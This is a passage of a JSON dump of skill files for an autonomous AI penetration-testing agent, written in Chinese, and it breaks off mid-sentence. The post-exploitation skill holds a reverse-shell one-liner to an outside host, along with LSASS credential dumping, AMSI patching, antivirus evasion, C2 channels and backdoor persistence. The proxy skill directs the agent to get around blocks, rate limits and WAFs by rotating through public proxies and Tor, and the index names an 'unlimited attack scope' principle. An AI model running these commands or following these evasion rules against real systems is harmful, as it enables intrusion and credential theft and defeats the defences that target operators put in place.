GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/msfvenom.yaml)","tools/nbtscan.yaml":"# Tools Skill\n\nPath: `tools/nbtscan.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/nbtscan.yaml)","tools/netexec.yaml":"# Tools Skill\n\nPath: `tools/netexec.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/netexec.yaml)","tools/nikto.yaml":"# Tools Skill\n\nPath: `tools/nikto.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/nikto.yaml)","tools/nmap.yaml":"# Tools Skill\n\nPath: `tools/nmap.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/nmap.yaml)","tools/nuclei.yaml":"# Tools Skill\n\nPath: `tools/nuclei.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/nuclei.yaml)","tools/objdump.yaml":"# Tools Skill\n\nPath: `tools/objdump.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/objdump.yaml)","tools/one-gadget.yaml":"# Tools Skill\n\nPath: `tools/one-gadget.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/one-gadget.yaml)","tools/pacu.yaml":"# Tools Skill\n\nPath: `tools/pacu.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/pacu.yaml)","tools/paramspider.yaml":"# Tools Skill\n\nPath: `tools/paramspider.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/paramspider.yaml)","tools/prowler.yaml":"# Tools Skill\n\nPath: `tools/prowler.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/prowler.yaml)","tools/pwninit.yaml":"# Tools Skill\n\nPath: `tools/pwninit.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/pwninit.yaml)","tools/pwntools.yaml":"# Tools Skill\n\nPath: `tools/pwntools.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/pwntools.yaml)","tools/quake_search.yaml":"# Tools Skill\n\nPath: `tools/quake_search.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/quake_search.yaml)","tools/query-execution-result.yaml":"# Tools Skill\n\nPath: `tools/query-execution-result.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/query-execution-result.yaml)","tools/radare2.yaml":"# Tools Skill\n\nPath: `tools/radare2.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/radare2.yaml)","tools/README.md":"# tools Documentation\n\nPath: `tools/README.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/README.md)","tools/README_EN.md":"# Tools Skill\n\nPath: `tools/README_EN.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/README_EN.md)","tools/responder.yaml":"# Tools Skill\n\nPath: `tools/responder.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/responder.yaml)","tools/ropgadget.yaml":"# Tools Skill\n\nPath: `tools/ropgadget.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/ropgadget.yaml)","tools/ropper.yaml":"# Tools Skill\n\nPath: `tools/ropper.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/ropper.yaml)","tools/rpcclient.yaml":"# Tools Skill\n\nPath: `tools/rpcclient.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/rpcclient.yaml)","tools/rustscan.yaml":"# Tools Skill\n\nPath: `tools/rustscan.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/rustscan.yaml)","tools/scout-suite.yaml":"# Tools Skill\n\nPath: `tools/scout-suite.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/scout-suite.yaml)","tools/shodan_search.yaml":"# Tools Skill\n\nPath: `tools/shodan_search.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/shodan_search.yaml)","tools/smbmap.yaml":"# Tools Skill\n\nPath: `tools/smbmap.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/smbmap.yaml)","tools/sqlmap.yaml":"# Tools Skill\n\nPath: `tools/sqlmap.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/sqlmap.yaml)","tools/steghide.yaml":"# Tools Skill\n\nPath: `tools/steghide.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/steghide.yaml)","tools/strings.yaml":"# Tools Skill\n\nPath: `tools/strings.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/strings.yaml)","tools/subfinder.yaml":"# Tools Skill\n\nPath: `tools/subfinder.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/subfinder.yaml)","tools/terrascan.yaml":"# Tools Skill\n\nPath: `tools/terrascan.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/terrascan.yaml)","tools/trivy.yaml":"# Tools Skill\n\nPath: `tools/trivy.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/trivy.yaml)","tools/virustotal_search.yaml":"# Tools Skill\n\nPath: `tools/virustotal_search.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/virustotal_search.yaml)","tools/volatility3.yaml":"# Tools Skill\n\nPath: `tools/volatility3.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/volatility3.yaml)","tools/wafw00f.yaml":"# Tools Skill\n\nPath: `tools/wafw00f.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/wafw00f.yaml)","tools/waybackurls.yaml":"# Tools Skill\n\nPath: `tools/waybackurls.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/waybackurls.yaml)","tools/wpscan.yaml":"# Tools Skill\n\nPath: `tools/wpscan.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/wpscan.yaml)","tools/x8.yaml":"# Tools Skill\n\nPath: `tools/x8.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/x8.yaml)","tools/xsser.yaml":"# Tools Skill\n\nPath: `tools/xsser.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/xsser.yaml)","tools/xxd.yaml":"# Tools Skill\n\nPath: `tools/xxd.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/xxd.yaml)","tools/zap.yaml":"# Tools Skill\n\nPath: `tools/zap.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/zap.yaml)","tools/zoomeye_search.yaml":"# Tools Skill\n\nPath: `tools/zoomeye_search.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/zoomeye_search.yaml)","tools/zsteg.yaml":"# Tools Skill\n\nPath: `tools/zsteg.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/zsteg.yaml)","skills/cyberstrike-eino-demo/FORMS.md":"# Cyberstrike-eino-demo Skill\n\nPath: `skills/cyberstrike-eino-demo/FORMS.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/skills/cyberstrike-eino-demo/FORMS.md)","skills/cyberstrike-eino-demo/REFERENCE.md":"# Cyberstrike-eino-demo Skill\n\nPath: `skills/cyberstrike-eino-demo/REFERENCE.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/skills/cyberstrike-eino-demo/REFERENCE.md)","plugins/burp-suite/cyberstrikeai-burp-extension/README.md":"# cyberstrikeai-burp-extension Documentation\n\nPath: `plugins/burp-suite/cyberstrikeai-burp-extension/README.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/plugins/burp-suite/cyberstrikeai-burp-extension/README.md)","plugins/burp-suite/cyberstrikeai-burp-extension/README.zh-CN.md":"# Cyberstrikeai-burp-extension Skill\n\nPath: `plugins/burp-suite/cyberstrikeai-burp-extension/README.zh-CN.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/plugins/burp-suite/cyberstrikeai-burp-extension/README.zh-CN.md)","plugins/browser-extension/cyberstrikeai-browser-extension/manifest.json":"# Cyberstrikeai-browser-extension Skill\n\nPath: `plugins/browser-extension/cyberstrikeai-browser-extension/manifest.json`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/plugins/browser-extension/cyberstrikeai-browser-extension/manifest.json)","plugins/browser-extension/cyberstrikeai-browser-extension/README.md":"# cyberstrikeai-browser-extension Documentation\n\nPath: `plugins/browser-extension/cyberstrikeai-browser-extension/README.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/plugins/browser-extension/cyberstrikeai-browser-extension/README.md)","plugins/browser-extension/cyberstrikeai-browser-extension/README.zh-CN.md":"# Cyberstrikeai-browser-extension Skill\n\nPath: `plugins/browser-extension/cyberstrikeai-browser-extension/README.zh-CN.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/plugins/browser-extension/cyberstrikeai-browser-extension/README.zh-CN.md)","skills/cyberstrike-eino-demo/references/citations.md":"# References Skill\n\nPath: `skills/cyberstrike-eino-demo/references/citations.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/skills/cyberstrike-eino-demo/references/citations.md)","skills/cyberstrike-eino-demo/scripts/report-snippet.json":"# Scripts Skill\n\nPath: `skills/cyberstrike-eino-demo/scripts/report-snippet.json`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/skills/cyberstrike-eino-demo/scripts/report-snippet.json)"},"files":{"skills/pentest-verification/SKILL.md":"---\nname: pentest-verification\ndescription: >-\n  验证铁律:搜索≠漏洞,confirmed Fact须证据,tentative表线索,禁止空泛推测,负结果也落库,\n  想象力拉满+单步验证零容忍。Use when writing project facts, validating findings, or avoiding hallucination.\nmetadata:\n  tags: [渗透测试, penetration-testing, 红队]\n---\n\n## 验证铁律（全系统最高规则，违反即幻觉）\n\n```\n1. 搜索结果 ≠ 漏洞。公开情报/PoC线索不可直接 record_vulnerability，也不可写 confidence=confirmed；\n   可写 tentative 的 note/finding 线索，或只留本轮待验证方向，验证后再落库。\n2. 每个 confirmed Fact 必须在 body（或关联漏洞 POC）附验证证据:命令输出/HTTP响应/文件内容/回连记录。\n3. 禁止\"可能/疑似/推测XX\" —— 要么确认+证据写 Fact/漏洞，要么 tentative 标明线索，要么不报。\n4. 验证失败 → 写负结果 Fact(\"测了XX,无可利用漏洞\")，用 upsert_project_fact 落库，防止重复尝试。\n5. 想象力拉满(敢想全网没人串过的链),单步验证零容忍(每段用真实证据钉死后再 confirmed)。\n```\n\n与黑板工具对齐见 `pentest-blackboard`。\n","skills/pentest-output-standards/SKILL.md":"---\nname: pentest-output-standards\ndescription: >-\n  输出规范:中文分析,思维链,漏洞报告模板,负结果,黑板状态总览,改动台账,死锁突破。\n  Use when reporting findings, maintaining change ledger, or formatting pentest output.\nmetadata:\n  tags: [渗透测试, penetration-testing, 红队]\n---\n\n## 输出规范\n\n```\n语言: 所有分析/推理/报告用中文,工具命令和代码用英文,CVE编号保留英文。\n每步思维链: 当前模式(单代理/deep/plan_execute/supervisor) + 已读黑板要点 + 决策推理 + 执行 + 结果摘要\n  + 是否已 upsert_project_fact / record_vulnerability。\n漏洞报告(每个已验证 Fact/可交付项): 漏洞名+严重程度+影响版本+利用条件+利用步骤(请求/响应)+验证证据(✓实际输出)+影响+修复建议。\n  → 同步 record_vulnerability；复现上下文另 upsert finding/chain/exploit/poc Fact。\n负结果: 测试方法+结果+排除原因 → upsert 负结果 Fact，避免重复打点。\n图状态总览(每轮结束): list/search_project_facts 摘要 + 当前进度 + 下一步；勿臆造未 get 的 body。\n🚨改动台账(每处写入型改动实时记账,清不清交用户): #|时间|主机|类型|位置|内容|回滚命令\n  类型:webshell/新建账户/改配置/持久化/权限改动(DCSync/RBCD/影子凭据)/申请凭据/数据库改动/网络改动\n  改配置前先备份.bak把路径写进台账 | 交付输出完整台账+一键回滚脚本(逆序生成),系统绝不擅自清理。\n  可选: note/change-* Fact 固化台账条目。\n死锁突破(连续多轮负结果且无新攻击面): 强制 list/search_project_facts 重审 → 换域/深度狩猎 → 向用户请求澄清或授权边界。\n```\n","skills/post-exploitation/SKILL.md":"---\nname: post-exploitation\ndescription: >-\n  后渗透/提权+凭据破解+密码学:反弹shell,Linux/Windows提权,横向,隧道,免杀,C2持久化,hashcat/Padding Oracle/hash长度扩展。Use when post-exploitation, privilege escalation, lateral movement, or cracking crypto.\nmetadata:\n  tags: [渗透测试, penetration-testing, 红队]\n---\n\n## 后渗透 / 提权 / 凭据破解 / 密码学\n\n```\n=== 后渗透/提权 ===\n反弹shell: bash -i >& /dev/tcp/IP/4444 0>&1 | OpenSSL加密绕IDS | PTY: python3 -c 'import pty;pty.spawn(\"/bin/bash\")'\nLinux提权: sudo -l;SUID(GTFOBins);getcap;cron;可写文件 | LinPEAS/pspy | cap_setuid/Docker组/LD_PRELOAD\nWindows提权: PrintSpoofer/GodPotato(SeImpersonate) | 服务错配/AlwaysInstallElevated | procdump LSASS→Mimikatz | winPEAS\n横向: PtH crackmapexec/wmiexec | SSH密钥收割 | 凭据位置 .bash_history/.my.cnf/.netrc/.git-credentials\n🚨RDP凭据确认(密码正确但RDP未启用): hydra报\"account might be valid but not active for remote desktop\" + impacket rdp_check返回\"Connection reset by peer\"(而非\"Access Denied\")= 密码正确但账户无RDP权限。\n  验证: 先用已知错误密码测rdp_check得到\"Access Denied\"作基线,目标密码返回reset=确认。确认后用同凭据喷其他服务(FTP/SMB/MySQL/BT Panel/SSH/Web后台)。\n隧道: ssh -L/-D/-J | chisel反向SOCKS | ligolo-ng | 容器逃逸:特权容器chroot/CAP_SYS_ADMIN/docker.sock/runc CVE\n免杀: Linux DDexec内存执行/memfd | Windows AMSI修补/直接syscall(SysWhispers3)/Donut/Sliver/Havoc\nC2/持久化技术清单: Beacon(长睡眠+jitter低调) vs 交互式shell(打点快但吵) | 信道 HTTPS/DNS隧道/域前置(Domain Fronting)/CDN前置/合法云(Slack/Telegram/GitHub当C2)\n  Linux持久化: cron/systemd timer/SSH authorized_keys/PAM后门/LD_PRELOAD/.bashrc/rc.local/恶意内核模块\n  Windows持久化: 注册表Run键/计划任务/服务/WMI事件订阅(无文件)/启动文件夹/DLL劫持/COM劫持/快捷方式 | 每处持久化都进 `pentest-output-standards` 台账可回滚\n\n=== 凭据破解 + 密码学攻击 ===\nhash破解: hashcat -m <mode> hash wordlist -r rules/best64.rule | 识别 hashid/hash-identifier | 常用mode 0(MD5)/100(SHA1)/1000(NTLM)/1800(sha512crypt)/3200(bcrypt)/13100(Kerberoast TGS)/18200(AS-REP)/22000(WPA)/16500(JWT)\n  策略: 先字典(rockyou)+规则(best64/dive)→掩码爆破?d?d?d?d→组合攻击 | john --format= 兜底 | 在线彩虹表 crackstation先查\n密码学攻击(不用爆破直接破): Padding Oracle(padbuster解密/伪造CBC密文) | ECB字节翻转(分块猜) | hash长度扩展(hashpump伪造签名,服务端 hash(secret+data)校验) | 弱IV/固定nonce复用(异或还原明文) | RSA小e/共模/Wiener小d(RsaCtfTool) | JWT alg混淆见 `web-attack-methods` 认证授权\n```\n","skills/proxy-tool-bootstrap/SKILL.md":"---\nname: proxy-tool-bootstrap\ndescription: >-\n  自找代理+工具自举:SOCKS5/HTTP/Tor换路序列,工具Python自举,字典自生成,OOB基础设施。Use when blocked by 403/429/WAF/timeout, missing tools, or needing OOB confirmation.\nmetadata:\n  tags: [渗透测试, penetration-testing, 红队]\n---\n\n## 自找代理 + 工具自举（被拦换路，没工具自己写）\n\n```\n🔴代理(收到拒绝/限流/超时 → 第一反应不是重试,是换路。不换路=放弃=违反黑板触发器2（见 `pentest-blackboard`）):\n  执行序列(按顺序,前一步失败才下一步):\n  ①探目标地区: terminal: curl -s \"http://ip-api.com/json/{目标IP}\" | python3 -c \"import sys,json;d=json.load(sys.stdin);print(d['country'],d['countryCode'])\"\n  ②获取该地区SOCKS5代理: terminal: curl -s \"https://api.proxyscrape.com/v2/?request=displayproxies&protocol=socks5&country={countryCode}&timeout=5000\" | head -20\n  ③验证代理可达目标: terminal: curl --socks5 {PROXY_IP:PORT} --connect-timeout 8 -s -o /dev/null -w \"%{http_code}\" {目标URL}\n  ④200=可用,立即用此代理重新执行被拦请求; 非200=换下一个代理重复③\n  ⑤全部SOCKS5失败→获取HTTP代理: terminal: curl -s \"https://api.proxyscrape.com/v2/?request=displayproxies&protocol=http&country={countryCode}&timeout=5000\" | head -20\n  ⑥HTTP代理验证: terminal: curl --proxy http://{PROXY_IP:PORT} --connect-timeout 8 -s -o /dev/null -w \"%{http_code}\" {目标URL}\n  ⑦全代理失败→Tor: terminal: curl --socks5 127.0.0.1:9050 --connect-timeout 15 {目标URL}\n  工具统一加代理参数: curl --socks5 / sqlmap --proxy=socks5://{P} / nmap --proxies socks5://{P} / nuclei -proxy socks5://{P} / ffuf -x socks5://{P}\n  轮换策略: 429/403→立即换下一个代理,每20请求主动换(避免新IP也被ban) | Cloudflare→代理池+请求间隔2-5s随机\n  🚨HTTP代理vs SOCKS5: HTTP代理会插入自己的错误页(502/无法显示此页)导致无法区分目标实际响应→需探测时必须用SOCKS5(--socks5)\n    ProxyScrape SOCKS5: https://api.proxyscrape.com/v2/?request=displayproxies&protocol=socks5&country=CN,JP&timeout=5000\n    验证SOCKS5: curl --socks5 IP:PORT --connect-timeout 5 目标 | HTTP代理只适合已确认可达的目标做匿名/轮换\n工具自举(which X || 用Python实现):\n  无nmap→socket扫端口 | 无ffuf→requests爆目录 | 无sqlmap→手工payload检测 | 无hydra→requests爆破 | 无nuclei→requests打已知payload\n  复杂工具用Python模拟:爬虫requests+bs4 / 编码base64/hex / 哈希hashlib / 加密pycryptodome / 嗅探scapy\n字典自生成: 基于目标域名/公司名造变体 | 从网页提关键词 | 用户名+年份+特殊字符组合 | 服务默认凭据\nOOB基础设施(盲漏洞都靠它): interactsh-client拿oast.fun域名 | 或VPS python3 -m http.server/nc看回连 | ngrok/cloudflared隧道\n  → 看到OOB回连(DNS查询/HTTP请求)才算确认 → 写Fact\n```\n\n","skills/pentest-agent-os/SKILL.md":"---\nname: pentest-agent-os\ndescription: >-\n  渗透测试Agent操作系统。把渗透抽象成状态空间搜索:不预设固定路径,以项目黑板 Fact 图\n  (upsert_project_fact)+漏洞记录沉淀认知,路径从已验证事实上涌现。覆盖全杀伤链攻击手法\n  (联网情报/Web/认证/服务端/源码/社工/后渗透/二进制/内网域/云/区块链/AI/无线/硬件)+0day+\n  组合拳+代理自举。核心:全网搜不到洞时现场推导独属于目标的攻击链。本文件为套件索引。\n  Use when starting a full-chain pentest engagement or needing the skill map for this suite.\nmetadata:\n  tags: [渗透测试, penetration-testing, 红队, autonomous]\n---\n\n# 渗透测试Agent操作系统\n\n> **渗透不是执行脚本,是搜索路径。**\n> 不给自己预设固定路径/角色/已知利用链。给定起点与目标,\n> 路径未知 → 在状态空间里搜索:不断试不同路径、试错、反馈、逼近目标。\n> **跳出固有攻击链** = 不问\"它有没有已知CVE\",而问\"基于项目黑板上已掌握的事实,下一步最有效的动作是什么\"。\n> 状态落点见 `pentest-blackboard`（SQLite 项目事实，非磁盘 Intent/Hint 状态机）。\n\n## 套件映射（按作用分类）\n\n| 主题 | skill `name` | 作用 |\n|------|--------------|------|\n| 套件索引与核心心法 | `pentest-agent-os` | 套件索引与核心心法 |\n| 项目黑板 | `pentest-blackboard` | 项目 Fact 图 / 边记录 / 与漏洞分工 |\n| 验证铁律 | `pentest-verification` | 验证铁律（防幻觉） |\n| 能力原语 + 状态空间搜索 | `capability-primitive-search` | 能力原语凑链/状态空间搜索 |\n| 联网情报收集 | `component-vuln-intel` | 组件识别后联网搜洞 |\n| 侦察/攻击面测绘 | `attack-surface-recon` | 侦察与攻击面测绘 |\n| 初始访问/钓鱼/社工 | `initial-access-phishing` | 初始访问/钓鱼/社工 |\n| Web注入+认证+服务端+杂项+CDN | `web-attack-methods` | Web全栈攻击手法 |\n| 源码狩猎 | `source-code-hunting` | 源码/密钥/供应链狩猎 |\n| 后渗透/提权+凭据破解 | `post-exploitation` | 后渗透/提权/凭据/密码学 |\n| 内网域 | `active-directory-attack` | 内网域/AD攻击 |\n| APK/EXE/二进制 | `binary-mobile-reversing` | 移动端/二进制逆向 |\n| 云 | `cloud-attack-methods` | 云与对象存储攻击 |\n| 区块链/智能合约 | `blockchain-contract-attack` | 区块链/智能合约 |\n| AI/LLM应用 | `ai-llm-app-attack` | AI/LLM应用攻击 |\n| 无线/硬件 | `wireless-hardware-attack` | 无线与硬件攻击 |\n| 0day自主发现引擎 | `zero-day-discovery` | 0day/N-day自主发现 |\n| 自找代理+工具自举 | `proxy-tool-bootstrap` | 代理换路与工具自举 |\n| OPSEC/隐蔽作战 | `redteam-opsec` | OPSEC/隐蔽作战纪律 |\n| 输出规范 | `pentest-output-standards` | 报告/台账/输出规范 |\n| 专题实战+文件索引 | `specialized-attack-playbooks` | 专题实战利用手册 |\n| 不设限原则 | `unlimited-attack-scope` | 不设限原则 |\n\n### 使用方式\n1. 先加载 `pentest-agent-os`（本索引）理解套件结构。\n2. 按当前攻击面加载对应 skill（例：识别组件→`component-vuln-intel`；Web→`web-attack-methods`；全网无洞→`zero-day-discovery`）。\n3. 黑板/铁律/能力原语（`pentest-blackboard` / `pentest-verification` / `capability-primitive-search`）为全流程常驻规则。\n4. 按攻击面加载对应 skill；细节均在目标 skill 内完整保留。\n\n### 强制行为触发器速查（完整原文在 `pentest-blackboard`）\n- 触发1[识别→搜] → 执行 `component-vuln-intel` 全部命令；线索 tentative，验证后再 confirmed/漏洞\n- 触发2[拒绝→换路] → 执行 `proxy-tool-bootstrap` 换路序列；不通则写负结果 Fact\n- 触发3[新认知→横向] → 凭据/域名/IP 立即横向扩展并 `upsert_project_fact`\n\n","skills/pentest-blackboard/SKILL.md":"---\nname: pentest-blackboard\ndescription: >-\n  CyberStrikeAI 项目黑板：跨会话 Fact 图（SQLite）+ upsert_project_fact/record_vulnerability\n  边渗透边记录节奏、关系边 links、confidence、与多代理协调落库。Use when managing project\n  facts, blackboard index, writing evidence, or avoiding context-loss after compression.\nmetadata:\n  tags: [渗透测试, penetration-testing, 红队, 项目黑板]\n---\n\n# 项目黑板（与本产品对齐）\n\n> 状态落在**已绑定项目**的 SQLite 黑板，不依赖对话上下文，也不使用 `.pentest/` 目录。\n> 系统自动注入「项目黑板索引」（仅 `fact_key` + summary）；**摘要不足必须 `get_project_fact`，禁止凭摘要臆造细节。**\n\n## 原语与分工（产品模型）\n\n| 概念 | 产品落点 | 规则 |\n|------|----------|------|\n| **Fact** | `project_facts`（`upsert_project_fact`） | 同 `fact_key` **覆盖更新**；非正式漏洞条目。`confidence`: `confirmed` \\| `tentative` \\| `deprecated` |\n| **关系边** | `project_fact_edges`（upsert 的 `links`） | 结构化攻击图；finding/chain/exploit/poc **必须**带 links |\n| **可交付漏洞** | `record_vulnerability` | 与 Fact **可各记一次**：Fact=复现上下文，漏洞=正式 finding |\n| **探索方向** | 本轮计划 / 协调者委派 / plantask（若启用） | **不是**独立 Intent 表；待验证方向用 `confidence=tentative` 的 `note/` 或先不落库、验证后再写 |\n| **人类注入** | 用户消息 / HITL 审批 | 直接吸收进决策；不必写成 Hint 原语 |\n\n### Fact vs 漏洞\n\n- **环境/目标/认证等认知** → 只写 Fact（`target/` `auth/` `infra/` `business/`）\n- **发现与利用上下文** → Fact（`finding/` `chain/` `exploit/` `poc/`）+ body 填满攻击链\n- **可交付 findings** → `record_vulnerability`（标题、严重程度、类型、目标、POC、影响、修复）；记前可用 `list_vulnerabilities` 查重\n\n## 强制节奏：边渗透边记录\n\n勿等会话结束再批量写入。\n\n1. 每**确认**一条新认知（开放端口/服务版本、入口路径、认证态或凭据特征、可利用点或攻击面变化）→ **立即** `upsert_project_fact`（同 key 覆盖）。\n2. 每**验证**出一条可复现漏洞（含 POC/影响）→ **立即** `record_vulnerability`；与事实可各记一次。\n3. 继续下一步前优先落库，避免上下文压缩丢细节。\n4. **未绑项目**：说明无法写黑板，仍在本轮保留证据摘要。\n5. **协调者**：子任务返回新认知/漏洞时由协调者写入，勿假定子代理已记。\n6. **子代理无工具时**：交付物末尾给「待落库」条目（建议 `fact_key`、summary、body/POC 要点），供协调者立即写入。\n\n## 工具速查\n\n| 工具 | 用途 |\n|------|------|\n| `upsert_project_fact` | 写入/更新事实（含 body、confidence、links） |\n| `get_project_fact` | 按 key 取完整 body（索引不够时必调） |\n| `list_project_facts` / `search_project_facts` | 检索黑板 |\n| `deprecate_project_fact` / `restore_project_fact` | 误报废弃 / 恢复 |\n| `record_vulnerability` | 可交付漏洞 |\n| `list_vulnerabilities` / `get_vulnerability` | 查重与详情 |\n\n前置：**当前对话已绑定项目**（否则工具报错）。\n\n## 写入规范\n\n### fact_key / category\n\n- 格式：小写 `category/slug`（如 `target/primary_domain`、`finding/sqli-login`）\n- 环境：`target` \\| `auth` \\| `infra` \\| `business`\n- 发现利用：`finding` \\| `chain` \\| `exploit` \\| `poc`（另可用 `note`）\n- **同一发现保持同一 `fact_key` 覆盖**，勿拆成多个 key 导致上下文丢失\n\n### summary / body / confidence\n\n- **summary**（索引用一行）：须含「什么 + 在哪 + 如何触发/验证」，禁止只写「存在 SQLi」\n- **body**：完整可复现上下文（索引不含 body）。发现/利用类必含：入口 → 步骤 → 原始请求/响应或命令 → 现象 → 证据 → `related_vulnerability_id`（若有）\n- **confidence**：有证据钉死 → `confirmed`；仅线索/待验证 → `tentative`；误报 → `deprecate_project_fact`（或 `deprecated`）\n- 更新时若省略 body，保留库中已有 body（可只改 summary）\n\n### 关系边 links（写入 finding/chain/exploit/poc 时必填）\n\n- 推荐 `from`：来源 fact → 当前 `fact_key`\n- 最少：finding 至少 1 条 `{from: target/*, type: discovered_on}`；在 finding 上挂 exploit 用 `{from: exploit/*, type: exploits}`\n- 常用 type：`discovered_on` \\| `depends_on` \\| `leads_to` \\| `enables` \\| `exploits` \\| `contains` \\| `part_of` \\| `supports`\n- **省略 links** = 保留已有边；传入 links = **替换**全部入边\n\n## 工作方式（对齐本产品编排）\n\n不设 Bootstrap/Reason/Explore 磁盘状态机。按当前运行模式推进，但**读写黑板的纪律不变**：\n\n| 模式 | 黑板用法 |\n|------|----------|\n| 单代理 / deep | 边干边 `upsert_project_fact`；读索引不够则 `get_project_fact` |\n| plan_execute | 计划步骤产出认知后立即落库；重规划前 `list/search_project_facts` |\n| supervisor | 协调者汇总子代理「待落库」并写入；子代理无工具则结构化交付 |\n\n卡住时：换边/换起点/换攻击域；用 `search_project_facts` 重审已有 Fact，避免重复死路。负结果也要落库（见验证铁律 skill）。\n\n## 行为触发器（纪律）\n\n每步必检（不检=违反验证铁律）：\n\n1. **识别→搜**：识别任何组件/框架/版本/中间件 → 暂停利用 → 立即执行 `component-vuln-intel` 全部命令（browser_navigate+terminal curl，7 个步骤全做）→ 结果用 `tentative` Fact 或本轮计划跟踪 → 搜完才继续。不搜就说「无已知漏洞」=幻觉；**验证后**再 `confirmed` / `record_vulnerability`。\n2. **拒绝→换路**：收到 